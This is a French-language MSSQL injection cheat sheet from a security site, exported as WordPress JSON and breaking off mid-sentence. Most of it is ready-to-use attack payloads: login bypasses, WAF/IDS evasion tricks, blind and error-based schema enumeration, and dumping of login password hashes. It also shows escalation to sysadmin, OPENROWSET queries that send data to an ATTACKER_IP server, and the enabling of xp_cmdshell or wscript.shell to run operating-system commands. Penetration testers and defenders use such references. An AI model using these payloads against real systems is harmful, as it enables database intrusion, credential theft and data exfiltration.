{"id":624,"date":"2013-02-25T13:53:27","date_gmt":"2013-02-25T11:53:27","guid":{"rendered":"https:\/\/www.asafety.fr\/?page_id=624"},"modified":"2015-11-13T12:13:37","modified_gmt":"2015-11-13T10:13:37","slug":"mssql-injection-cheat-sheet","status":"publish","type":"page","link":"https:\/\/www.asafety.fr\/en\/mssql-injection-cheat-sheet\/","title":{"rendered":"MSSQL Injection Cheat Sheet"},"content":{"rendered":"<p><\/p>\n<h2>Introduction<\/h2>\n<p>Ce document recense de mani\u00e8re synth\u00e9tique et la plus compl\u00e8te possible, l&#8217;ensemble des vecteurs d&#8217;attaque pour des injections SQL (SQLi &amp; BSQLi) ciblant les bases de donn\u00e9es MSSQL (Microsoft SQL Server).<\/p>\n<p>Toutes les syntaxes, requ\u00eates, codes sources, PoC et exemples ont \u00e9t\u00e9 test\u00e9s et valid\u00e9s pour la production de cette synth\u00e8se.<\/p>\n<h2>Bases de donn\u00e9es par d\u00e9faut<\/h2>\n<table>\n<tbody>\n<tr>\n<td>pubs<\/td>\n<td>Indisponible sous MSSQL 2005 ni 2012<\/td>\n<\/tr>\n<tr>\n<td>model<\/td>\n<td>Disponible dans toutes les versions<\/td>\n<\/tr>\n<tr>\n<td>msdb<\/td>\n<td>Disponible dans toutes les versions<\/td>\n<\/tr>\n<tr>\n<td>tempdb<\/td>\n<td>Disponible dans toutes les versions<\/td>\n<\/tr>\n<tr>\n<td>northwind<\/td>\n<td>Non disponible sous SQL Server 2012<\/td>\n<\/tr>\n<tr>\n<td>information_schema<\/td>\n<td>Disponible depuis MSSQL 2000<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2>Tester une injection<\/h2>\n<h3>Injection dans une cha\u00eene de caract\u00e8res<\/h3>\n<p><strong>Pour la requ\u00eate suivante :<\/strong><\/p>\n<p>[sql]SELECT * FROM Table WHERE data = &#8216;[INJ]&#8217;;[\/sql]<\/p>\n<table>\n<tbody>\n<tr>\n<td>&#8216;<\/td>\n<td>Simple quote x1<\/td>\n<td>False<\/td>\n<\/tr>\n<tr>\n<td>&#8216; &#8216;<\/td>\n<td>Simple quote x2<\/td>\n<td>True<\/td>\n<\/tr>\n<tr>\n<td>&#8220;<\/td>\n<td>Double quote x1<\/td>\n<td>True<\/td>\n<\/tr>\n<tr>\n<td>&#8220;&#8221;<\/td>\n<td>Double quote x2<\/td>\n<td>True<\/td>\n<\/tr>\n<tr>\n<td>\\<\/td>\n<td>Backslash x1<\/td>\n<td>True<\/td>\n<\/tr>\n<tr>\n<td>\\\\<\/td>\n<td>Backslash x2<\/td>\n<td>True<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]SELECT * FROM Table WHERE data = &#8216;xxx&#8221;&#8217;;<br \/>\nSELECT * FROM Table WHERE data = &#8216;1&#8221;&#8221;&#8221;&#8221;&#8221;&#8217;UNION SELECT &#8216;2&#8217;;[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Il est possible d&#8217;utiliser autant d&#8217;apostrophe (<em>quote<\/em>) tant qu&#8217;ils vont par paire.<\/li>\n<li>Il est possible de continuer la requ\u00eate \u00e0 la suite d&#8217;une cha\u00eene de quote.<\/li>\n<li>Une quote \u00e9chappe une seconde quote, d&#8217;o\u00f9 le cha\u00eenage par paire.<\/li>\n<\/ul>\n<h3>Injection par valeurs num\u00e9riques<\/h3>\n<p><strong>Pour la requ\u00eate suivante :<\/strong><\/p>\n<p>[sql]SELECT * FROM Table WHERE data = [INJ];[\/sql]<\/p>\n<table>\n<tbody>\n<tr>\n<td>AND 1=1<\/td>\n<td>True<\/td>\n<\/tr>\n<tr>\n<td>AND 1=0<\/td>\n<td>False<\/td>\n<\/tr>\n<tr>\n<td>1*1337<\/td>\n<td>Retourne 1337 si vuln\u00e9rable<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Formats num\u00e9riques valides :<\/strong><\/p>\n<p>Chacune de ces techniques peut servir d&#8217;\u00e9vasion d&#8217;expressions r\u00e9guli\u00e8res d&#8217;IDS\/WAF.<\/p>\n<table>\n<tbody>\n<tr>\n<td><code>digits<\/code><\/td>\n<td>1337<\/td>\n<\/tr>\n<tr>\n<td><code>digits[.]<\/code><\/td>\n<td>1337.<\/td>\n<\/tr>\n<tr>\n<td><code>digits[.]digits<\/code><\/td>\n<td>13.37<\/td>\n<\/tr>\n<tr>\n<td><code>digits[eE]digits<\/code><\/td>\n<td>13e37, 13E37<\/td>\n<\/tr>\n<tr>\n<td><code>digits[eE][+-]digits<\/code><\/td>\n<td>13e-37, 13E+37<\/td>\n<\/tr>\n<tr>\n<td><code>digits[.][eE]digits<\/code><\/td>\n<td>13.e37<\/td>\n<\/tr>\n<tr>\n<td><code>digits[.]digits[eE]digits<\/code><\/td>\n<td>13.3E7<\/td>\n<\/tr>\n<tr>\n<td><code>digits[.]digits[eE][+-]digits<\/code><\/td>\n<td>13.3e-7<\/td>\n<\/tr>\n<tr>\n<td><code>[.]digits<\/code><\/td>\n<td>.1337<\/td>\n<\/tr>\n<tr>\n<td><code>[.]digits[eE]digits<\/code><\/td>\n<td>.13e37<\/td>\n<\/tr>\n<tr>\n<td><code>[.]digits[eE][+-]digits<\/code><\/td>\n<td>.13E-37<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Formats mon\u00e9taires valides :<\/strong><\/p>\n<p>MSSQL int\u00e8gre un format de donn\u00e9es mon\u00e9taires. L&#8217;utilisation de ceux-ci permettent d&#8217;outrepasser certains filtres de d\u00e9tection de WAF\/IDS.<\/p>\n<p>[sql]SELECT * FROM myTable WHERE id = +$1.0;<br \/>\nSELECT * FROM myTable WHERE id = +\u20ac1.0;<br \/>\nSELECT * FROM myTable WHERE id = +\u00a31.0;[\/sql]<\/p>\n<p>Liste des symboles mon\u00e9taires pris en comptes par MSSQL :<\/p>\n<div id=\"attachment_662\" style=\"width: 158px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/money_format_mssql.gif\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-662\" class=\"size-medium wp-image-662\" alt=\"Format mon\u00e9taire MSSQL\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/money_format_mssql-148x300.gif\" width=\"148\" height=\"300\" \/><\/a><p id=\"caption-attachment-662\" class=\"wp-caption-text\">Format mon\u00e9taire MSSQL<\/p><\/div>\n<p><strong>Expressions math\u00e9matiques \u00e9quivalentes :<\/strong><\/p>\n<p>Pour des injections \u00e9quivalentes au\u00a0traditionnel\u00a0&#8220;OR 1=1&#8221;, les syntaxes suivantes (et d\u00e9riv\u00e9es) peuvent \u00eatre utilis\u00e9es :<\/p>\n<p>[sql]<br \/>\nCOS(0)=SIN(PI()\/2)<br \/>\n[\/sql]<strong>Exemples :<\/strong><\/p>\n<p>[sql]SELECT * FROM Table WHERE data = 3+1337;[\/sql]<\/p>\n<h3>Injection dans un formulaire de connexion\/login<\/h3>\n<p><strong>Pour la requ\u00eate suivante :<\/strong><\/p>\n<p>[sql]SELECT * FROM Users WHERE username = &#8216;admin&#8217; AND password = &#8216;[INJ]&#8217;;[\/sql]<strong>Injections :<\/strong><\/p>\n<p>[sql]&#8217; OR &#8221; = &#8216;<\/p>\n<p>&#8216; OR 1 = 1 &#8212;<\/p>\n<p>&#8216;=&#8217;<\/p>\n<p>&#8216;LIKE&#8217;<\/p>\n<p>&#8216;=0&#8211;[\/sql]<strong>Exemples :<\/strong><\/p>\n<p>[sql]SELECT * FROM Users WHERE username = &#8216;admin&#8217; AND password = &#8221; OR &#8221; = &#8221;;[\/sql]<\/p>\n<h2>Commenter la fin d&#8217;une requ\u00eate<\/h2>\n<p>Les syntaxes suivantes peuvent \u00eatre utilis\u00e9es pour commenter (d\u00e9sactiver) la fin d&#8217;une requ\u00eate \u00e0 la suite d&#8217;une injection :<\/p>\n<table>\n<tbody>\n<tr>\n<td>\/*<\/td>\n<td>C-style commentaire<\/td>\n<\/tr>\n<tr>\n<td>&#8212;<\/td>\n<td>SQL commentaire<\/td>\n<\/tr>\n<tr>\n<td>;%00<\/td>\n<td>Nullbyte,fin de cha\u00eene<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]<br \/>\nSELECT * FROM Table WHERE username = &#8221; OR 1=1\u00a0&#8211;&#8216; AND password = &#8221;;<br \/>\nSELECT * FROM Table\u00a0WHERE data = &#8221; UNION SELECT 1, 2, 3\/*&#8217;;<br \/>\n[\/sql]<\/p>\n<h2>Test de version MSSQL<\/h2>\n<ul>\n<li>@@VERSION<\/li>\n<\/ul>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]SELECT * FROM Tables WHERE data = &#8216;1&#8217; AND @@VERSION LIKE &#8216;%2008%&#8217;; &#8212; true if MSSQL 2008[\/sql]<strong>Remarques :<\/strong><\/p>\n<ul>\n<li>La cha\u00eene de caract\u00e8re retourn\u00e9e par @@VERSION contient \u00e9galement la version du syst\u00e8me d&#8217;exploitation Windows en place, elle est insensible \u00e0 la casse.<\/li>\n<\/ul>\n<h2>Cr\u00e9dentiels de la base de donn\u00e9es<\/h2>\n<ul>\n<li>Database..Table : master..syslogins, master..sysprocesses<\/li>\n<li>Colonnes : name, loginame<\/li>\n<li>Utilisateur courant : user, system_user, user_name(), suser_sname(), is_srvrolemember(&#8216;sysadmin&#8217;)<\/li>\n<\/ul>\n<p>Cr\u00e9dentiels de la base :<\/p>\n<p>[sql]SELECT user, password FROM master.dbo.sysxlogins<br \/>\nSELECT name, password, LOGINPROPERTY(name, &#8216;PasswordHash&#8217; ) hash FROM syslogins WHERE password IS NOT NULL; &#8212; Test on SQL Server 2012[\/sql]<strong>Exemples :<\/strong><\/p>\n<p>[sql]<br \/>\nSELECT loginame FROM master..sysprocesses WHERE spid=@@SPID; &#8212; retourne l&#8217;utilisateur courant<br \/>\nSELECT (CASE WHEN (IS_SRVROLEMEMBER(&#8216;sysadmin&#8217;)=1) THEN &#8216;1&#8217; ELSE &#8216;0&#8217; END); &#8212; v\u00e9rifie que l&#8217;utilisateur est administrateur[\/sql]<\/p>\n<h2>Gestion des utilisateurs<\/h2>\n<p>Chacune de ces requ\u00eates de gestion des utilisateurs n\u00e9cessite des droits.<\/p>\n<h3>Cr\u00e9ation d&#8217;un nouvel utilisateur<\/h3>\n<p>[sql]EXEC sp_addlogin &#8216;user&#8217;, &#8216;passwd&#8217;;[\/sql]<\/p>\n<h3>Suppression d&#8217;un utilisateur<\/h3>\n<p>[sql]EXEC sp_droplogin &#8216;user&#8217;;[\/sql]<\/p>\n<h3>Escalade de privil\u00e8ge d&#8217;un utilisateur<\/h3>\n<p>[sql]EXEC master.dbo.sp_addsrvrolemember &#8216;user&#8217;, &#8216;sysadmin&#8217;;[\/sql]<\/p>\n<h2>Noms des bases de donn\u00e9es<\/h2>\n<ul>\n<li>Database.Tables : master..sysdatabases<\/li>\n<li>Colonnes : name<\/li>\n<li>Base de donn\u00e9es courante : DB_NAME()<\/li>\n<li>Autres bases : DB_NAME(i)<\/li>\n<\/ul>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]<\/p>\n<p>SELECT DB_NAME(2);<br \/>\nSELECT name FROM master..sysdatabases;[\/sql]<\/p>\n<h2>Nom d&#8217;h\u00f4te du serveur<\/h2>\n<ul>\n<li>@@SERVERNAME<\/li>\n<li>SERVERPROPERTY()<\/li>\n<li>HOST_NAME()<\/li>\n<\/ul>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]SELECT SERVERPROPERTY(&#8216;productversion&#8217;), SERVERPROPERTY(&#8216;productlevel&#8217;), SERVERPROPERTY(&#8216;edition&#8217;);[\/sql]<strong>Remarques :<\/strong><\/p>\n<ul>\n<li>SERVERPROPERTY() est disponible depuis MSSQL 2005.<\/li>\n<\/ul>\n<h2>Tables et colonnes<\/h2>\n<h3>D\u00e9terminer le nombre de colonnes<\/h3>\n<h4>Via &#8220;order by&#8221;<\/h4>\n<ul>\n<li>ORDER BY N+1;<\/li>\n<\/ul>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Continuer d&#8217;incr\u00e9menter la valeur de N jusqu&#8217;\u00e0 ce que la r\u00e9ponse soit false (une erreur).<\/li>\n<\/ul>\n<p><strong>Exemples :<\/strong><\/p>\n<p>Pour la requ\u00eate suivante :<\/p>\n<p>[sql]SELECT * FROM Table WHERE data = &#8216;[INJ]&#8217;;[\/sql]<\/p>\n<table>\n<tbody>\n<tr>\n<td>1&#8242; ORDER BY 1&#8211;<\/td>\n<td>True<\/td>\n<\/tr>\n<tr>\n<td>1&#8242; ORDER BY 2&#8211;<\/td>\n<td>True<\/td>\n<\/tr>\n<tr>\n<td>1&#8242; ORDER BY 3&#8211;<\/td>\n<td>True<\/td>\n<\/tr>\n<tr>\n<td>1&#8242; ORDER BY 4&#8211;<\/td>\n<td>False &#8211; La requ\u00eate ne dispose que de 3 colonnes<\/td>\n<\/tr>\n<tr>\n<td>-1&#8242; UNION SELECT 1,2,3&#8211;<\/td>\n<td>True<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4>Via les erreurs<\/h4>\n<ul>\n<li>GROUP BY \/ HAVING<\/li>\n<\/ul>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Il n&#8217;y a plus d&#8217;erreur de retourn\u00e9e lorsque toutes les colonnes ont \u00e9t\u00e9 incluses.<\/li>\n<\/ul>\n<p><strong>Exemples :<\/strong><\/p>\n<p>Pour la requ\u00eate suivante :<\/p>\n<p>[sql]SELECT * FROM Table WHERE data = &#8216;[INJ]&#8217;;[\/sql]<\/p>\n<table>\n<tbody>\n<tr>\n<td>1&#8242; HAVING 1=1&#8211;<\/td>\n<td>Column &#8216;Table.myColumn1&#8217; is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.<\/td>\n<\/tr>\n<tr>\n<td>1&#8242; GROUP BY myColumn1 HAVING 1=1&#8211;<\/td>\n<td>Column &#8216;Table.myColumn2&#8217; is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.<\/td>\n<\/tr>\n<tr>\n<td>1&#8242; GROUP BY myColumn1, myColumn2 HAVING 1=1&#8211;<\/td>\n<td>Column &#8216;Table.myColumn3&#8217; is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.<\/td>\n<\/tr>\n<tr>\n<td>1&#8242; GROUP BY myColumn1, myColumn2, myColumn3 HAVING 1=1&#8211;<\/td>\n<td>Aucune erreur<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3>R\u00e9cup\u00e9rer le nom des tables<\/h3>\n<p>Les noms des tables peuvent \u00eatre extraits via information_schema.tables ou master..sysobjects.<\/p>\n<h4>Via &#8220;Union&#8221;<\/h4>\n<p>[sql]UNION SELECT name FROM master..sysobjects WHERE xtype=&#8217;U'[\/sql]<strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Xtype=&#8217;U&#8217; correspond aux tables d\u00e9finies par l&#8217;utilisateur. &#8216;V&#8217; pour les vues.<\/li>\n<\/ul>\n<h4>En mode aveugle &#8220;Blind&#8221;<\/h4>\n<p>[sql]AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt; &#8216;A'[\/sql]<strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Appliquer un algorithme dichotomique sur la requ\u00eate pour optimiser le temps de recherche et le trafic r\u00e9seau (O(log n)).<\/li>\n<\/ul>\n<h4>Via les erreurs<\/h4>\n<p>[sql]AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables)<br \/>\nAND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 1 table_name FROM information_schema.tables))[\/sql]<\/p>\n<h3>R\u00e9cup\u00e9rer le nom des colonnes<\/h3>\n<p>Les noms des tables peuvent \u00eatre extraits via information_schema.columns ou master..syscolumns.<\/p>\n<h4>Via &#8220;Union&#8221;<\/h4>\n<p>[sql]UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = &#8216;tablename&#8217;)[\/sql]<\/p>\n<h4>En mode aveugle &#8220;Blind&#8221;<\/h4>\n<p>[sql]AND SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt; &#8216;A'[\/sql]<strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Appliquer un algorithme dichotomique pour optimiser les requ\u00eates, le temps de recherche et le trafic r\u00e9seau (O(log n)).<\/li>\n<\/ul>\n<h4>Via les erreurs<\/h4>\n<p>[sql]AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns)<br \/>\nAND 1 = (SELECT TOP 1 column_name FROM information_schema.columns WHERE column_name NOT IN(SELECT TOP 1 column_name FROM information_schema.columns))[\/sql]<\/p>\n<h3>R\u00e9cup\u00e9rer plusieurs tables\/colonnes en une fois<\/h3>\n<h4>Technique n\u00b01<\/h4>\n<p>Les trois requ\u00eates suivantes permettent la cr\u00e9ation temporaire d&#8217;une table\/colonne, l&#8217;insertion de toutes les tables d\u00e9finies par l&#8217;utilisateur, la r\u00e9cup\u00e9ration de ce contenu puis la suppression de la table temporaire.<\/p>\n<p>[sql]AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=&#8217;:&#8217; SELECT @xy=@xy+&#8217; &#8216;+name FROM sysobjects WHERE xtype=&#8217;U&#8217; AND name&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;@xy SELECT @xy AS xy INTO TMP_DB END; &#8212; cr\u00e9ation et insertion des donn\u00e9es<br \/>\nAND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB); &#8212; r\u00e9cup\u00e9ration du contenu<br \/>\nAND 1=0; DROP TABLE TMP_DB; &#8212; suppression de la table temporaire<br \/>\n[\/sql]<\/p>\n<h4>Technique n\u00b02<\/h4>\n<p>Une m\u00e9thode plus simple est disponible depuis MSSQL 2005 au travers de la m\u00e9thode path() XML qui effectue des concat\u00e9nations.<\/p>\n<p>[sql]SELECT table_name as t FROM information_schema.tables FOR XML PATH(&#8221;)[\/sql]<strong>Remarques :<\/strong><\/p>\n<ul>\n<li><span style=\"line-height: 13px;\">La requ\u00eate peut \u00eatre obscurcie avec un encodage :<\/span><\/li>\n<\/ul>\n<p>[sql]&#8217; AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);&#8211;[\/sql]<\/p>\n<h3>R\u00e9cup\u00e9rer le type des colonnes<\/h3>\n<h4><strong>Via des fonctions MSSQL :<\/strong><\/h4>\n<p>Lors de l&#8217;utilisation d&#8217;UNION, pour conna\u00eetre le type de telle ou telle colonne, il est possible d&#8217;appliquer sur la s\u00e9lection une fonction prenant un type pr\u00e9cis en param\u00e8tre. Dans l&#8217;exemple suivant, la fonction SUM() est utilis\u00e9e, celle-ci ne peut prendre qu&#8217;un nombre en entr\u00e9e. Si aucune erreur ne s&#8217;affiche, la colonne est de type num\u00e9rique, sinon, l&#8217;erreur indique son type :<\/p>\n<p>[sql]&#8217; union select sum(myColumn) from myTable&#8211;[\/sql]<strong>R\u00e9sultats en cas d&#8217;erreur :<\/strong><\/p>\n<blockquote><p>Microsoft OLE DB Provider for ODBC Drivers error &#8216;80050e07&#8217;<br \/>\n [Microsoft][ODBC SQL Server Driver]<\/p>\n<p>[SQL Server]The sum or average aggregate operation cannot take a <strong>varchar<\/strong> data type as an argument.\n<\/p><\/blockquote>\n<p>Il est \u00e9galement possible d&#8217;exploiter les fonctions CAST() ou CONVERT().<\/p>\n<h4>M\u00e9thode incr\u00e9mentale<\/h4>\n<p>Au travers d&#8217;un UNION, le test du type des colonnes peut se faire de la sortes :<\/p>\n<ul>\n<li>Pas d&#8217;erreur, syntaxe valide :<\/li>\n<\/ul>\n<p>[sql]1337 UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 \u2013-\u00a0[\/sql]<\/p>\n<ul>\n<li>Pas d&#8217;erreur, la premi\u00e8re colonne est un entier :<\/li>\n<\/ul>\n<p>[sql]1337 UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 \u2013-\u00a0[\/sql]<\/p>\n<ul>\n<li>Erreur, la seconde colonne n&#8217;est pas un nombre :<\/li>\n<\/ul>\n<p>[sql]1337 UNION SELECT 1,2,NULL,NULL WHERE 1=2 &#8212;\u00a0[\/sql]<\/p>\n<ul>\n<li>Pas d&#8217;erreur, la seconde colonne est une cha\u00eene de caract\u00e8re :<\/li>\n<\/ul>\n<p>[sql]1337 UNION SELECT 1,&#8217;2&#8242;,NULL,NULL WHERE 1=2 &#8212;\u00a0[\/sql]<\/p>\n<h2>\u00c9viter l&#8217;utilisation des quotes<\/h2>\n<h3>Encodage en hexad\u00e9cimal<\/h3>\n<p>[sql]SELECT * FROM myTable WHERE &#8216;test&#8217; = 0x74657374;[\/sql]<strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Le pr\u00e9fixe &#8220;0x&#8221; d&#8217;une cha\u00eene encod\u00e9e en hexad\u00e9cimal est insensible \u00e0 la casse.<\/li>\n<li>Une cha\u00eene vierge en notation hexad\u00e9cimale peut se noter 0x.<\/li>\n<li>Une comparaison sur une valeur de colonne n&#8217;est pas fonctionnelle, ainsi username=0x61646d696e ne fonctionne pas.<\/li>\n<\/ul>\n<h3>Fonction CHAR()<\/h3>\n<p>[sql]SELECT * FROM Users WHERE username = CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110)[\/sql]<\/p>\n<h2>Concat\u00e9nation de cha\u00eene de caract\u00e8res<\/h2>\n<p>[sql]<br \/>\nSELECT &#8216;a&#8217;+&#8217;d&#8217;+&#8217;mi&#8217;+&#8217;n&#8217;;<br \/>\nSELECT CONCAT(&#8216;a&#8217;, &#8216;d&#8217;, &#8216;m&#8217;, &#8216;i&#8217;, &#8216;n&#8217;); &#8212; depuis MSSQL 2012<br \/>\n[\/sql]<\/p>\n<h2>Les requ\u00eates conditionnelles<\/h2>\n<ul>\n<li>CASE<\/li>\n<li>IF<\/li>\n<\/ul>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]IF 1=1 SELECT &#8216;true&#8217; ELSE SELECT &#8216;false&#8217;;<br \/>\nSELECT CASE WHEN 1=1 THEN &#8216;true&#8217; ELSE &#8216;false&#8217; END;[\/sql]<span style=\"font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 13px; line-height: 19px;\"><strong>Remarques :<\/strong><br \/>\n <\/span><\/p>\n<ul>\n<li>IF ne peut \u00eatre utilis\u00e9 dans une requ\u00eate SELECT.<\/li>\n<\/ul>\n<h2>Gestion du temps<\/h2>\n<ul>\n<li>WAITFOR DELAY &#8216;time_to_pass&#8217;;<\/li>\n<li>WAITFOR TIME &#8216;time_to_execute&#8217;;<\/li>\n<\/ul>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]IF 1=1 WAITFOR DELAY &#8216;0:0:5&#8217; ELSE WAITFOR DELAY &#8216;0:0:0&#8217;;[\/sql]<\/p>\n<h2>Privil\u00e8ges et droits<\/h2>\n<p>Privil\u00e8ges de l&#8217;utilisateur courant sur des objets d\u00e9finis :<\/p>\n<p>[sql]SELECT permission_name FROM master..fn_my_permissions(null, &#8216;DATABASE&#8217;); &#8212; current database<br \/>\nSELECT permission_name FROM master..fn_my_permissions(null, &#8216;SERVER&#8217;); &#8212; current server<br \/>\nSELECT permission_name FROM master..fn_my_permissions(&#8216;master..syslogins&#8217;, &#8216;OBJECT&#8217;); &#8212; permissions on a table<br \/>\nSELECT permission_name FROM master..fn_my_permissions(&#8216;sa&#8217;, &#8216;USER&#8217;);[\/sql]Appartenance \u00e0 des groupes de r\u00f4les pour l&#8217;utilisateur courant :<\/p>\n<p>[sql]<\/p>\n<p>SELECT is_srvrolemember(&#8216;sysadmin&#8217;);<br \/>\nSELECT is_srvrolemember(&#8216;dbcreator&#8217;);<br \/>\nSELECT is_srvrolemember(&#8216;bulkadmin&#8217;);<br \/>\nSELECT is_srvrolemember(&#8216;diskadmin&#8217;);<br \/>\nSELECT is_srvrolemember(&#8216;processadmin&#8217;);<br \/>\nSELECT is_srvrolemember(&#8216;serveradmin&#8217;);<br \/>\nSELECT is_srvrolemember(&#8216;setupadmin&#8217;);<br \/>\nSELECT is_srvrolemember(&#8216;securityadmin&#8217;);<\/p>\n<p>[\/sql]Liste des utilisateurs qui disposent de droits sp\u00e9cifiques :<\/p>\n<p>[sql]SELECT name FROM master..syslogins WHERE denylogin = 0;<br \/>\nSELECT name FROM master..syslogins WHERE hasaccess = 1;<br \/>\nSELECT name FROM master..syslogins WHERE isntname = 0;<br \/>\nSELECT name FROM master..syslogins WHERE isntgroup = 0;<br \/>\nSELECT name FROM master..syslogins WHERE sysadmin = 1;<br \/>\nSELECT name FROM master..syslogins WHERE securityadmin = 1;<br \/>\nSELECT name FROM master..syslogins WHERE serveradmin = 1;<br \/>\nSELECT name FROM master..syslogins WHERE setupadmin = 1;<br \/>\nSELECT name FROM master..syslogins WHERE processadmin = 1;<br \/>\nSELECT name FROM master..syslogins WHERE diskadmin = 1;<br \/>\nSELECT name FROM master..syslogins WHERE dbcreator = 1;<br \/>\nSELECT name FROM master..syslogins WHERE bulkadmin = 1;[\/sql]<\/p>\n<h2>Attaque OPENROWSET<\/h2>\n<p>MSSQL offre la possibilit\u00e9, au travers d&#8217;une requ\u00eate, de se connecter \u00e0 une base tierce (une source de donn\u00e9es OLE DB distante). Par cette connexion (g\u00e9n\u00e9ralement r\u00e9alis\u00e9e sur une base appartenant \u00e0 l&#8217;attaquant), il est possible d&#8217;y r\u00e9cup\u00e9rer et\/ou d&#8217;y \u00e9crire des donn\u00e9es.<\/p>\n<p>[sql]SELECT * FROM OPENROWSET(&#8216;SQLOLEDB&#8217;, &#8216;Network=DBMSSOCN;Address=ATTACKER_IP;uid=ATTACKER_LOGIN; pwd=ATTACKER_PWD&#8217;, &#8216;SELECT myColumn FROM myTable&#8217;)<br \/>\nSELECT * FROM OPENROWSET(&#8216;SQLOLEDB&#8217;, &#8216;127.0.0.1&#8217;;&#8217;sa&#8217;;&#8217;p4ssw0rd&#8217;, &#8216;SET FMTONLY OFF execute master..xp_cmdshell &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;dir&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&#8217;);[\/sql]Utilisation d&#8217;OPENROWSET pour enregistrer des donn\u00e9es locales dans une base distante :<\/p>\n<p>[sql]INSERT INTO OPENROWSET(&#8216;SQLOLEDB&#8217;,&#8217;Network=DBMSOCN;Address=ATTACKER_IP;uid=ATTACKER_LOGIN;pwd=ATTACKER_PWD&#8217;, &#8216;SELECT * FROM ATTACKER_TABLE&#8217;) SELECT name FROM sysobjects WHERE xtype=&#8217;U'[\/sql]Cette pr\u00e9c\u00e9dente requ\u00eate va enregistrer dans la table ATTACKER_TABLE distante, la liste des tables visibles par l&#8217;utilisateur courant. La table distante de l&#8217;attaquant doit disposer d&#8217;une structure \u00e9quivalente \u00e0 la requ\u00eate faite localement (m\u00eame nombre de colonne, m\u00eame type de colonne&#8230;).<\/p>\n<h2>Ex\u00e9cution de commande sur le serveur<\/h2>\n<p>La proc\u00e9dure stock\u00e9e native du nom de xp_cmdshell permet d&#8217;ex\u00e9cuter des commandes sur le syst\u00e8me.<\/p>\n<p>[sql]EXEC master.dbo.xp_cmdshell &#8216;cmd&#8217;;[\/sql]<strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Le r\u00e9pertoire courant d&#8217;ex\u00e9cution des commandes est %systemroot%\\System32\\.<\/li>\n<li>Les lignes vides sont retourn\u00e9es sous forme de valeur NULL.<\/li>\n<\/ul>\n<p>Apparue dans la version 2005 de MSSQL, cette proc\u00e9dure est d\u00e9sactiv\u00e9e par d\u00e9faut. Les requ\u00eates suivantes permettent de l&#8217;activer.<\/p>\n<p>[sql]<br \/>\nEXEC sp_configure &#8216;show advanced options&#8217;, 1<br \/>\nEXEC sp_configure reconfigure<br \/>\nEXEC sp_configure &#8216;xp_cmdshell&#8217;, 1<br \/>\nEXEC sp_configure reconfigure<br \/>\n[\/sql]Certains WAF\/IDS bloque l&#8217;utilisation de cette proc\u00e9dure \u00e0 partir de son nom appel\u00e9. Une alternative consiste \u00e0 cr\u00e9er une nouvelle proc\u00e9dure arbitraire \u00e9quivalente.<\/p>\n<p>[sql]<br \/>\nDECLARE @execmd INT<br \/>\nEXEC SP_OACREATE &#8216;wscript.shell&#8217;, @execmd OUTPUT<br \/>\nEXEC SP_OAMETHOD @execmd, &#8216;run&#8217;, null, &#8216;%systemroot%\\system32\\cmd.exe \/c&#8217;<br \/>\n[\/sql]Pour que ces pr\u00e9c\u00e9dentes manipulations fonctionnent sous les versions MSSQL 2000 et sup\u00e9rieures, il est n\u00e9cessaire d&#8217;ex\u00e9cuter au pr\u00e9alable :<\/p>\n<p>[sql]<br \/>\nEXEC sp_configure &#8216;show advanced options&#8217;, 1<br \/>\nEXEC sp_configure reconfigure<br \/>\nEXEC sp_configure &#8216;OLE Automation Procedures&#8217;, 1<br \/>\nEXEC sp_configure reconfigure<br \/>\n[\/sql]<strong>Exemples :<\/strong><\/p>\n<p>V\u00e9rifie si xp_cmdshell est charg\u00e9 et actif, puis ex\u00e9cute la commande syst\u00e8me &#8220;dir&#8221; en ins\u00e9rant les r\u00e9sultats 